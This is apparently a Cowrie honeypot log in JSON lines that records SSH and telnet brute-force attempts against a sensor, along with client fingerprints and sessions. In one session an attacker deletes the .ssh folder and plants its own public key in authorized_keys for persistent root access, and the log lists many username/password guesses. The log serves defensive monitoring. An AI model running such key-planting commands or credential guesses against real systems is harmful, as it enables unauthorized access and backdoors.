a256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:03:38.701369Z","src_ip":"154.125.147.88","session":"35f396cc551e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"3.130.168.2","src_port":47152,"dst_ip":"159.203.135.109","dst_port":22,"session":"f5c95c46c856","protocol":"ssh","message":"New connection: 3.130.168.2:47152 (159.203.135.109:22) [session: f5c95c46c856]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:03:39.517976Z"}
{"eventid":"cowrie.client.version","version":"GET / HTTP/1.1","message":"Remote SSH version: GET / HTTP/1.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:03:39.522419Z","src_ip":"3.130.168.2","session":"f5c95c46c856","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:03:39.525693Z","src_ip":"3.130.168.2","session":"f5c95c46c856","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Rr@123456","message":"login attempt [root/Rr@123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:03:41.735592Z","src_ip":"154.125.147.88","session":"35f396cc551e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:03:42.300127Z","src_ip":"154.125.147.88","session":"35f396cc551e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:03:42.303642Z","src_ip":"154.125.147.88","session":"35f396cc551e","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:03:42.307616Z","src_ip":"154.125.147.88","session":"35f396cc551e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:03:42.551583Z","src_ip":"154.125.147.88","session":"35f396cc551e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:03:43.315473Z","src_ip":"154.125.147.88","session":"35f396cc551e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:03:43.318757Z","src_ip":"154.125.147.88","session":"35f396cc551e","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:03:43.561807Z","src_ip":"154.125.147.88","session":"35f396cc551e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:03:43.565758Z","src_ip":"154.125.147.88","session":"35f396cc551e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.125.147.88","src_port":56727,"dst_ip":"10.17.0.5","dst_port":22,"session":"30a34b6db2f8","protocol":"ssh","message":"New connection: 154.125.147.88:56727 (10.17.0.5:22) [session: 30a34b6db2f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:03:43.790997Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:03:43.794835Z","src_ip":"154.125.147.88","session":"30a34b6db2f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:03:44.728824Z","src_ip":"154.125.147.88","session":"30a34b6db2f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.210.249.152","src_port":40800,"dst_ip":"10.17.0.5","dst_port":22,"session":"66fa9c898201","protocol":"ssh","message":"New connection: 172.210.249.152:40800 (10.17.0.5:22) [session: 66fa9c898201]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:03:45.495981Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:03:45.500428Z","src_ip":"172.210.249.152","session":"66fa9c898201","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:03:45.514447Z","src_ip":"172.210.249.152","session":"66fa9c898201","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kube","password":"123456","message":"login attempt [kube/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:03:45.603649Z","src_ip":"172.210.249.152","session":"66fa9c898201","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:03:45.783235Z","src_ip":"154.125.147.88","session":"30a34b6db2f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:03:46.620178Z","src_ip":"172.210.249.152","session":"66fa9c898201","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:03:47.030836Z","src_ip":"154.125.147.88","session":"30a34b6db2f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.125.147.88","src_port":59681,"dst_ip":"10.17.0.5","dst_port":22,"session":"d2711b49b6a2","protocol":"ssh","message":"New connection: 154.125.147.88:59681 (10.17.0.5:22) [session: d2711b49b6a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:03:48.263951Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:03:48.269547Z","src_ip":"154.125.147.88","session":"d2711b49b6a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:03:48.521103Z","src_ip":"154.125.147.88","session":"d2711b49b6a2","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:03:50.910309Z","src_ip":"154.125.147.88","session":"d2711b49b6a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.0","message":"Connection lost after 14.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:03:51.778882Z","src_ip":"154.125.147.88","session":"35f396cc551e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:03:51.781573Z","src_ip":"154.125.147.88","session":"d2711b49b6a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.78.2.212","src_port":43626,"dst_ip":"10.17.0.5","dst_port":22,"session":"77992c884fbf","protocol":"ssh","message":"New connection: 103.78.2.212:43626 (10.17.0.5:22) [session: 77992c884fbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:03:56.861853Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:03:56.866986Z","src_ip":"103.78.2.212","session":"77992c884fbf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:03:57.113692Z","src_ip":"103.78.2.212","session":"77992c884fbf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"112.124.96.19","src_port":53168,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e3ed1e89082","protocol":"telnet","message":"New connection: 112.124.96.19:53168 (10.17.0.5:23) [session: 0e3ed1e89082]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:03:57.934900Z"}
{"eventid":"cowrie.login.failed","username":"rocky","password":"Rocky123!","message":"login attempt [rocky/Rocky123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:03:58.132802Z","src_ip":"103.78.2.212","session":"77992c884fbf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:03:59.382365Z","src_ip":"103.78.2.212","session":"77992c884fbf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":44864,"dst_ip":"159.203.135.109","dst_port":22,"session":"b9d8888ac626","protocol":"ssh","message":"New connection: 92.118.39.92:44864 (159.203.135.109:22) [session: b9d8888ac626]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:04:02.448112Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:04:02.453169Z","src_ip":"92.118.39.92","session":"b9d8888ac626","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:04:02.557286Z","src_ip":"92.118.39.92","session":"b9d8888ac626","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpadmin","password":"ftpadmin","message":"login attempt [ftpadmin/ftpadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:04:02.877353Z","src_ip":"92.118.39.92","session":"b9d8888ac626","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:04:03.984616Z","src_ip":"92.118.39.92","session":"b9d8888ac626","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.193.33.3","src_port":49228,"dst_ip":"10.17.0.5","dst_port":22,"session":"9e03a6fecb3f","protocol":"ssh","message":"New connection: 118.193.33.3:49228 (10.17.0.5:22) [session: 9e03a6fecb3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:04:13.314773Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:04:13.319224Z","src_ip":"118.193.33.3","session":"9e03a6fecb3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:04:13.534742Z","src_ip":"118.193.33.3","session":"9e03a6fecb3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"planka","password":"1234","message":"login attempt [planka/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:04:14.429020Z","src_ip":"118.193.33.3","session":"9e03a6fecb3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:04:15.646877Z","src_ip":"118.193.33.3","session":"9e03a6fecb3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.218.242.31","src_port":37064,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f0364ecc236","protocol":"ssh","message":"New connection: 103.218.242.31:37064 (10.17.0.5:22) [session: 3f0364ecc236]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:04:23.824374Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:04:23.829189Z","src_ip":"103.218.242.31","session":"3f0364ecc236","protocol":"ssh"}
